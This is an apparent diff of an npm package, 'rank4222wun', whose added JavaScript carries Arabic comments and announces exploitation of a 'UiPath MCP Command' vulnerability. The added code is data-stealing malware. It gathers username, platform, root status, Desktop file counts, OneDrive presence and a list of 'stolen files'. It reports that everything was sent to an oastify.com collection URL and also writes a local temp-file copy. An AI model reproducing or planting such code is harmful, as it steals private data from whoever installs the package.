|
199
190
|
|
|
200
|
-
//
|
|
201
|
-
const backupFile = path.join(os.tmpdir(),
|
|
202
|
-
fs.writeFileSync(backupFile,
|
|
203
|
-
console.log(
|
|
191
|
+
// حفظ البيانات محليًا كبديل
|
|
192
|
+
const backupFile = path.join(os.tmpdir(), `uipath_proof_${Date.now()}.json`);
|
|
193
|
+
fs.writeFileSync(backupFile, formattedData);
|
|
194
|
+
console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
|
|
195
|
+
|
|
196
|
+
printSummary();
|
|
204
197
|
});
|
|
205
198
|
|
|
206
|
-
req.write(
|
|
199
|
+
req.write(formattedData);
|
|
207
200
|
req.end();
|
|
208
201
|
}
|
|
202
|
+
|
|
203
|
+
// ========== 5. طباعة ملخص ==========
|
|
204
|
+
function printSummary() {
|
|
205
|
+
console.log("\n" + "=".repeat(50));
|
|
206
|
+
console.log("📊 ملخص البيانات المسروقة:");
|
|
207
|
+
console.log("=".repeat(50));
|
|
208
|
+
|
|
209
|
+
console.log(`🏠 المستخدم: ${proofData.basicInfo.username}`);
|
|
210
|
+
console.log(`🖥️ النظام: ${proofData.basicInfo.platform}`);
|
|
211
|
+
console.log(`🔑 صلاحيات root: ${proofData.basicInfo.isRoot ? 'نعم ✅' : 'لا'}`);
|
|
212
|
+
|
|
213
|
+
if (proofData.userProof.desktop) {
|
|
214
|
+
console.log(`📁 Desktop: ${proofData.userProof.desktop.fileCount} ملف`);
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
if (proofData.userProof.oneDrive) {
|
|
218
|
+
console.log(`☁️ OneDrive: ${proofData.userProof.oneDrive.isRealUser ? 'موجود ✅' : 'غير موجود'}`);
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
console.log(`📄 الملفات المسروقة: ${Object.keys(proofData.stolenFiles).length} ملف`);
|
|
222
|
+
|
|
223
|
+
Object.keys(proofData.stolenFiles).forEach(key => {
|
|
224
|
+
if (proofData.stolenFiles[key].stolen) {
|
|
225
|
+
console.log(` 🔓 ${key}: ${proofData.stolenFiles[key].path}`);
|
|
226
|
+
}
|
|
227
|
+
});
|
|
228
|
+
|
|
229
|
+
console.log("=".repeat(50));
|
|
230
|
+
console.log("📤 تم إرسال كل البيانات إلى:");
|
|
231
|
+
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-proof");
|
|
232
|
+
console.log("=".repeat(50));
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
// ========== بدء التنفيذ ==========
|
|
236
|
+
console.log("🚀 بدء استغلال ثغرة UiPath MCP Command...");
|
|
237
|
+
collectSystemInfo();
|
|
Binary file
|
package/rank4222wun-1.0.16.tgz
DELETED
|
Binary file
|